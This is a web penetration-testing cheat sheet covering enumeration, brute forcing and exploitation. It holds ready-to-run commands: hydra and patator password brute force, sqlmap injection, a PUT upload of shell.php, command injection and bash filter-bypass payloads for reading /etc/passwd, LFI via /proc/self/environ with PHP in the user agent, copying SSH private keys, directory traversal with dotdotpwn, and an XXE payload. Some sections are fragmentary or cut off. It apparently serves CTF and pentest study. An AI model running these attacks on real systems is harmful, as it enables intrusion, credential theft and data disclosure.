Web Enumeration Mind Map



If you get a certificate redirecting you to 443/https check for alt names

add these to /etc/hosts file
nikto -h $ip
nikto -h $ip -p 80,8080,1234 #test different ports with one scan
-Tuning Options
0 – File Upload
1 – Interesting File / Seen in logs
2 – Misconfiguration / Default File
3 – Information Disclosure
4 – Injection (XSS/Script/HTML)
5 – Remote File Retrieval – Inside Web Root
6 – Denial of Service
7 – Remote File Retrieval – Server Wide
8 – Command Execution / Remote Shell
9 – SQL Injection
a – Authentication Bypass
b – Software Identification
c – Remote Source Inclusion
x – Reverse Tuning Options (i.e., include all except specified)
wget https://raw.githubusercontent.com/danielmiessler/RobotsDisallowed/master/top10000.txt; gobuster dir -u http://$ip -w top10000.txt

use a few different files, check seclists for web discovery

wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200 http://$ip/FUZZ

It is worth scanning using a good number of word lists as well as scanning the directories recursively - which takes time. Its good to refer back to your findings when you're stuck. It may help you find where shells have been uploaded to.

#follow guide, might have to run these commands if guide doesnt work then re run guideapt install cargo, apt install pkg-config
./erodir -u http:/$ip -e /usr/share/wordlists/dirb/common.txt -t 20
gobuster dir -u http://$ip -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -o gobuster-root -t 50

Gobuster ing a site with an auth - 401

gobuster dir -u http://$ip/authlogin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -U usernamehere -P passwordhere -t 100

If Gobuster throws back lots of pages that you know are not valid. The webpage is likely filtering the requests by USER AGENT. Its checking the user agent of gobuster and telling it to respond to all requests as valid. Use the -a flag on Gobuster to set the USER AGENT.

works recursively

cd /root/dirsearch; python3 dirsearch.py -u http://$ip/ -r -e .php

If really stuck run this

for file in $(ls /usr/share/seclists/Discovery/Web-Content); do gobuster -u http://$ip/ -w /usr/share/seclists/Discovery/Web-Content/$file -e -k -l -s "200,204,301,302,307" -t 20 ; done
./whatweb $ip # identifies all known services

Methods testing

nmap --script http-methods --script-args http-methods.url-path='/test' $ip

Brute Forcing authentication

hydra http-post-form "/admin.php:target=auth&mode=login&user=^USER^&password=^PASS^:invalid" -P /usr/share/wordlists/rockyou.txt -l admin

Vulnerability scanning:

nmap --script=http-vuln* $ip

Test against SQLI

sqlmap -u "http://$ip/?query" --data="user=foo&pass=bar&submit=Login" --level=5 --risk=3 --dbms=mysql

Coldfusion vulnerability scanning

nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip

If you can register yourself on the site like a normal users - do this. There maybe an upload feature of the site which you can take advantage of.

./bfac --url http://$ip/ --level 4


if you manage to download a backup file. Grep for users - as there might be a password beside the username. Ie logging into a database which you can copy and use to log in to ssh.

Test for it

davtest -move -sendbd auto -url http://$ip:8080/webdav/
cadaver http://$ip:8080/webdav/

DNS Enumeration

host -t ns $website #gets nameservers
host -t mx $website #gets mail servers

Forward DNS Lookup Bruteforce

guess valid names of servers by attempting to resolve a given name

Get possible IP range from above to discover more hostnames and ip addresses belonging to $website using below

for i in $(cat /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100K.txt); do host $i.$website | grep "has address" | cut -d" " -f1 ;done

Reverse DNS Lookup Bruteforce

might find missing domain names in the forward lookup by probing the IP address range.

for ip in $(seq 1 10); do host $199.199.199.$ip > network.txt; cat network.txt | grep "$website" | cut -d" " -f5; done #need to change some variables

DNS Zone Transfer

Like a database replication act between dns servers. Should be limited to authorised secondary dns servers - misconfigured will allow zone transfer! Can give complete map of internal and external network structure

#identifies name servers and attempts zone transfer on each of them
if [ -z "$1" ]; then
echo "[*] Zone Transfer Script"
echo "[*] Usage: $0 <domain name>"
exit 0
for server in $(host -t ns $1 | cut -d" " -f4);do
host -l $1 $server | grep "has address"
test using
./$scriptname zonetransfer.me
dnsrecon -d $website -t axfr

Is target protected by WAF? may stop responding if probed too hard

  • Map the attack surface

  • Find subdomains, Ip blocks, email addresses, the harvester is a nice tool. I.e: python theHarvester.py -d example.org -n -c -t -b google

  • There is a nice collection of OSINT tools at http://osintframework.com/ feed the harvester results there and recurse.

  • Find services, Banners and versions. Research CVEs and exploit-db for those.

  • Find newest features, and forgotten endpoints at https://web-beta.archive.org

  • Check robots.txt crossdomain.xml and clientaccesspolicy.xml

  • Find hosts:

    dig $website a; @ # types: a, mx, ns, soa, srv, txt, axfr
    dig -x $website # reverse lookup
  • Google site: to find information leakage

  • Map their infrastructure: middleware, programming languages, backends, services. This can help https://wappalyzer.com/

  • Find hidden folders, files. Nice list for fuzzing content discovery: https://c.darenet.org/nitemare/SecLists/tree/master/Discovery/Web_Content

    dirb http://target wordlists/dirb/common.txt
    nikto -host http://target
  • Spider/map all the functionalities of the application, discover hidden & default content, doing automated and manual crawling.

  • Identify data entry points, technologies used. What does the application do? How does it do it? Map attack surface, dangerous functionalities, how they are implemented. Versions of the libraries, frameworks and known CVEs.

  • Read the client code of the web app, what javascript libraries it use, code looks messy?, sinks, etc

  • Check comments in source of all pages

  • Generate an error page, sometimes vulnerable to XSS.

  • Identify all parameters. Document which parameters are used for GET and POST.

  • Identify where cookies are set, modified or added to.

  • Note any strange headers

    ./whatweb $website
    dirb https://$website /usr/share/wordlists/dirb/common.txt
  • Use Shodan for finding similar apps and endpoints, SSH hash keys

  • Find previous vulnerabilities of the web site. Recon-ng is a useful tool; use recon/domains-vulnerabilities/xssposed; set source example.org; run

  • RTFM - Read the manual for the application you are testing, does it have a dev mode? is there a DEBUG=TRUE flag that can be flipped to see more?

  • Look for where you can put data, is it an API? Is there a paywall or sign up? Is it purely unauthenticated?

  • Look at the application from a bad guy perspective, what does it do? what is the most valuable part? Some applications will value things more than others, for example a premium website might be more concerned about users being able to bypass the pay wall than they are of say cross-site scripting.

  • Look at the application logic too, how is business conducted?

  • If testing a bug bounty, look for new acquisition, code from new team, new mobile apps versions, new UI in web, new features.

Extensions List


Testing input validation

  • Append .old or .bak to files

  • Run automated scanning against web app, Burp, nikto and dirb.

  • Use wpscan to assess wordpress plugins

  • Use cmsmap for durpal and joomla known bugs

  • Flashbang to decode swf files, online tool

  • Find parameters being reflected and test for: XSS, HPP, link manipulation, template injection.

  • Test server side issues (error-based, blind, outband, stored, different context(numeric, single and double quoted)) such as: SQL injection, Server-side include, OS command injection, path traversal, file inclusionboth local and remote, SMTP injection, SOAP injection get the application to respond to SOAP, this ties into XXE attacks too. LDAP injection, XPath injection, code injection, deserialization attacks, overflow attacks.

  • A parameter looks like a file? Test path traversal, RFI, LFI

  • A parameter looks like a URL? Test open redirection SSRF

    • http://$ip/s3cr3tscr4per.php?command=

  • Parsing of XML, JSON, or any other markup language that the application processes. Test for injection attacks, SSRF, xpath, XXE, insecure object de-references.

  • Look for parameters encoded in base64 or others, test again for injection attacks and insecure object de-references.

  • Check for DOM-based attacks - open redirection, cross site scripting, client side validation.

  • File uploads. SVG can have embedded XML that triggers SSRF, XXE.

  • If user has profile and avatar, upload a malicious SVG with script.

Server issues

  • Script to request every https request to http

  • Test header injection

  • Test HTTP Options, use arbitrary method names to attempt to bypass authentication pages

  • Test any client side applet such as flash, activex and silverlight.

  • For file uploads functionalities, look for reflected file download. Uploading files with double extensions (.php5.jpeg) and using a null byte (.php5%00.jpeg)

  • Ensure anti-CSRF mitigations are in place for main functionalities and clickjacking mitigations.

  • If there is a binary, and runs as root, it should use https only and verify checksum or singed check with public key

  • Captcha bypassing

  • Check for frame injection, frame busting(can still be an issue)

  • Caching poisoning issues

  • Sensitive data in URL parameters

  • Follow up any information leakage

  • Look at numeric IDs, they can tell you much many orders, users etc. Looked for hashed numeric ids

  • Look swf they are always vulnerable

  • Check for weak SSL ciphers

  • Test CORS policy. if CORS or crosssdomain.xml allow subdomain, you can trick a user into doing XSS to that page by injecting an iframe to all web pages he visits to a subdomain i.e. sub.vulnerable.com, intercepting all requests for that host and returning html that will issue a cross domain request to vulnerable.es and display it to the UI.

  • Verify Content Security Policy (CSP). Look for bypasses

  • Verify HTTP Strict Transport Security (HSTS)

  • Verify X-XSS-Protection

  • Verify X-Content-Type-Options

  • Verify HTTP Public Key Pinning

Testing authentication

  • Burp extension to see what users can see (authorization)

  • basic auth brute force:

    nmap -d -vv -p 80 --script http-brute --script-args http-brute.path=/ $website
  • Password quality rules, length, character set allowed (alphanumeric, upper/lower case and special characters). Empty Password? Empty username? 123456?

  • Test username enumeration

  • Test account recovery functionality, look for SMTP header injection.

  • Does remember me expires?

  • Test removing your email address from your account, add a new one, make sure that the old one can not be used to recover password/log in.

  • Delete an account without entering password or other sensitive operations, in case you forgot your computer logged in.

  • Password bruteforcing resilience. Application locks after some attempts?

  • Rate limiting in change password functionality, forgot to log out in a cyber cafe, brute force the actual password using this feature. Does the application lock out an account after x number of login attempts?

  • Email verification links through http

  • Cookies: scope, httponly, secure flag.

  • Broken OAuth authentication, make sure ID tokens generated by google or third party are properly validated on the backend. https://developers.google.com/identity/sign-in/web/backend-auth#verify-the-integrity-of-the-id-token

  • Other strange access control methods such as referral validation (which can be bypassed https://t.co/z84ajd7bmO)

  • Does the remember me function ever expire? Is there room for exploit-ability in cookies combined with other attacks?

  • Test username uniqueness

  • How are logins processed, are they sent over http? Are details sent in a POST request or are they included in the URL(this is bad if they are, especially passwords)?

  • Test NULL %00 characters in the username and password fields.

  • Test for fail-open conditions. Fail-open authentication is the situation when the user authentication fails but results in providing open access to authenticated and secure sections of the web application to the end user.

  • Cookie poisoning. Try requesting the cookie names in the query string and body, some servers might read the parameters and set them as cookies. This can allow cookie poisoning.

  • Set new password with old password

Testing session management

  • How well are sessions handled, is there a randomness to the session cookie? Are sessions killed in a reasonable time or do they last forever? Does the app allow multiple logins from the same user(is this significant to the app?).

  • Test tokens for meaning

  • Are tokens generated predictable or do they provide a sufficiently random value, tools to help with this are Burp Suite's sequencer tool.

  • Check for insecure transmission of tokens Can they be accessed by JavaScript? Is this an Issue?

  • Check for disclosure of tokens in logs. Are they cached server side? Can you view this? Can you pollute logs by setting custom tokens?

  • Check mapping of tokens to sessions. Is a token tied to a session, or can it be re-used across sessions?

  • Check session termination

  • Check for session fixation

  • Can an attacker hijack a user's session using the session token/cookie?

  • Check for XSRF

  • Can authenticated actions be performed within the context of the application from other websites?

  • Check cookie scope. Is the cookie scoped to the current domain or can it be stolen, what are the flags set? is it missing secure or http-only? This can be tested by trapping the request in burp and looking at the cookie.

  • Understand the access control requirements. How do you authenticate to the application, could there be any flaws here?

  • Test effectiveness of controls, using multiple accounts if possible

  • Test for insecure access control methods (request parameters, Referrer header, etc)

PUT Method

nmap --script=http-put --script-args http-put.url='/rowbot/shell.php',http-put.file='shell.php' $ip
  • Persistent cookies

  • Session tokens strength

  • Authorization properly enforced

Testing business logic

  • I do this step last, as it is when I am more familiar with the application and more likely to identify these issues.

  • Identify the logic attack surface

  • What does the application do, what is the most value, what would an attacker want to access?

  • Test transmission of data via the client

  • Is there a desktop application or mobile application, does the protocols used vary between this and the web application

  • Test for reliance on client-side input validation

  • Does the application attempt to base it's logic on the client side, for example do forms have a maximum length client side that can be edited with the browser that are simply accepted as true?

  • Test any thick-client components (Java, ActiveX, Flash)

  • Does the application utilize something like Java, Flash, ActiveX or silverlight? can you download the applet and reverse engineer it?

  • Test multi-stage processes for logic flaws. Can you go from placing an order straight to delivery thus bypassing payment? or a similar process?

Cache attacks

  • Poisoning (if only path is validated you can submit malicious queries/headers) and cache bad results

  • Race conditions: buy twice, get someone else's data

  • If header injection: Inject a new response, the cache might store the attacker-controllable one

  • Using multiple host headers or X-Forwarded-Host might cause the cache to load the attacker's site and serve it. Or the links to be written relative to the attackers host.

  • Dns cache poisoning: The attacker creates a fake response to the DNS server that is cached, all users will get the wrong response until TTL.

  • Side-channel attacks They exploit timing/energy consumption/noises/electromagnetic leaks rather than a direct weakness in the system.

  • Offline Web Application Cache Poisoning The attacker loads an iframe of victim who uses wifi. The iframe points to facebook.com but caches the phishing site for a few days. When the user logs in at home it opens the cached poisoned site.


Search for links on the webpages. These can give you ways to get LFI eg



Testing wordpress sites

wpscan --url http://$ip/ --enumerate ap,at,tt,cb,dbe,u,m
#aggressive scan really checks for plugins - worth doing if nothing else comes up!
wpscan -e --enumerate ap --plugins-detection aggressive --url $ip
#check for pages
wfuzz -c -z range,1-1000 --sc 200 "http://$ip/?p=FUZZ"
#check for attachments
wfuzz -c -z range,1-1000 --sc 200 "http://$ip/?attachment_id=FUZZ"

Quick wordpress bruteforce:

python patator.py http_fuzz url=http://$ip/wp-login.php raw_request=rawlogin 0=/usr/share/rockyou.txt -l /tmp/login &; tail -f /tmp/login | grep 302

Fingerprint application

clusterd --fingerprint -i $ip
BlindElephant.py $ip

Request site with specific cipher

curl --ciphers ECDHE-RSA-AES256-SHA https://$ip

Deobfuscate JS

JStillery, JSNice


  • Allows a server to authenticate a user without any password. The app uses a service provider to authenticate users.

  • Authentication flow:

    • User clicks login with Facebook.

    • User gets redirected to Facebook facebook.com/oauth?redirect_uri=target.com%2fcallback&state=xyz

    • If the login is successful, he will be redirected to target.com

    • browser makes a request to including the state value

    • Client should validate the state value to prevent csrf.

  • Pitfalls:

    • CSRF: use the redirect URL that contains the authorisation code and make a victim visit it

    • Open redir: attacker constructs and authorisation request URL for provider site with redirect_uri set to attacker.com, when user gets redirected attacker can read authorisation code

    • Access token reuse: evil consumer site can authorise victim in provider site using access token, attacker uses the token to impersonate

DNS Rebinding

  • Attacker controls the authoritative nameserver for attacker.com

  • User visits attacker.com

  • NS responds with A record with the attacker.com IP, and short TTL

  • The browser fetches a resource, i.e. /secrets

  • The DNS response has expired, now the DNS server responds with victim.com IP.

  • The browser will fetch victim.com/secrets in the attacker.com origin.

  • Attacker can return a CNAME entry to brute force internal host names

Cross domain requests

  • Browser will do GET requests and POST that has standard content-type

  • Otherwise, the browser will do an OPTIONS request and check the CORS headers

Command Injection on web forms


Some php forms have limited blacklisting. It's important to check. It might be possible inject commands into it.

; whoami
& whoami
| whoami

If you trying to read a file and cat is disallowed use another program to read files like less or more

no sanitisation

No sanitisation of user input

If there is no sanitisation a simple ; or & will concatenate commands together

; whoami

Some sanitisation of user input

some blacklisted characters

To get around the above blacklist try a pipe command

More sanitisation of user input

Highlighted above is a mistake. The pipe symbol AND a space are filtered allowing the below command to work

Proper sanitisation of user input

Bypass Bash Restrictions

Bypass Paths and forbidden commands

#Bash substitudes * fror any possible chat that refers to a binary in the folder
/usr/bin/p?ng #This equals /usr/bin/ping
#Bash substitudes * fror any compatible combination with a binary in the folder
/usr/bin/who*mi #This equals /usr/bin/whoami
/usr/bin/n[c] #/usr/bin/nc
'p'i'n'g #Equals to call ping
\u\n\a\m\e \-\a
#Uninitialized variables: A uninitialized variable equals to null (nothing)
p${u}i${u}n${u}g #Equals to ping, use {} to put the uninitialized variables between valid characteres
cat$u /etc$u/passwd$u #Use the uninitilized variable without {} before any symbol
#Fake commands
p$(u)i$(u)n$(u)g #Equals to ping but 3 errors trying to exeute "u" are shown
w`u`h`u`o`u`a`u`m`u`i #Equals to whoami but 5 errors trying to exeute "u" are shown
#Concating strings using history
!-1 #This will be substitude by the last command executed, and !-2 by the penultimate command
mi #This will throw an error
whoa #This will throw an error
!-1!-2 #This will execute whoami

Bypass forbidden spaces

{cat,lol.txt} #This will cat the file
##IFS - Internal field separator, change " " for any othe character ("]" in this case)
#IFS withut modifications
#Put the command line in a variable and then execute it
IFS=];b=cat]/etc/passwd;$b #Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` #Using cat twice
#Other way, just change each space for ${IFS}
##Using hex format
##New lines
g #This 4 lines will equal to ping
##Undefined variables and !
$u $u#This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a #This equals to uname -a


file_uploads On On

to be updated - please get in contact to help complete

Useful information can be extracted from this page. Settings have been set in the loaded php.ini file.

Look for register_globals and allow_url - can allow LFI and RFI attacks.

Remember you may have to add a null byte %00 e.g. $website/../../etc/passwd%00


RFI works only when the following is set in the php.ini file

allow_url_fopen = On
allow_url_include = On
=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ ini_file,show_source

can be used if this is found on the phpinfo() page

disable_functions no value

If there is a bit of code that include the following, this allowed RFI,

<?php include($_REQUEST["urlConfig"]); ?>

File Inclusion (LFI)

To check if website is vulnerable write ../ in after the parameter like this http://$ip/index.php?id=../ and if you got [function.include] then the website may be vulnerable.


So after getting the error remove ../ and replace with it /etc/passwd like http://$ip/index.php?id=/etc/passwd if you got another [function.include] then add ../ until you got many text ( http headers ) then the site is vulnerable so after you find the passwd file we have to replace /etc/passwd it to be /proc/self/environso the url will be something like this http://$ip/index.php?id=/proc/self/environ

Now change your user agent to the first created user agent that contain <?php phpinfo(); ?> and reload the page , if you got a text similar to PHP VERSION then you know you have code execution.


Capture rsa_key

Check /etc/passwd for user. Key stored in /home/user/ssh/id_rsa. Copy key to kali, do chmod 600, then ssh user@ip -i key

Using Wrappers










?page=php://input | POST DATA:

wfuzz command

wfuzz -u "http://$ip/page.php?command=FUZZ" -w /opt/LFISuite/pathtotest_huge.txt


HTTP Module

./dotdotpwn.pl -m http -h -x 8080 -f /etc/hosts -k "localhost" -d 8 -t 200 -s
./dotdotpwn.pl -m http -h -O -X -M POST -e .php -E


./dotdotpwn.pl -m http-url -u -O -k "root:" -r webmin.txt

FTP Module

./dotdotpwn.pl -m ftp -h -s -U nitr0us -P n1tr0u5pwnzj00 -o windows -q -r ftp_server.txt

TFTP Module

./dotdotpwn.pl -m tftp -h -b -t 1 -f windows/system32/drivers/etc/hosts

Payload Module

./dotdotpwn.pl -m payload -h -x 10000 -p payload_sample_1.txt -k "root:" -f /etc/passwd


good for producing a list of LFIs to try, maybe on another tool

./dotdotpwn.pl -m stdout -d 5

Useful LFI list


wfuzz -u "http://$ip/file.php?command=file://FUZZ" -w lfi.list

you might have to customise this list - for example if wordpress is located in /blog/ directory edit the top line of this file to /var/www/html/blog/wp-config.php



Complete all fields on the form. When the form is processed it might output what you added to the form - maybe one field. If it does this is the field to add the XXE part - "&xxe;"

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>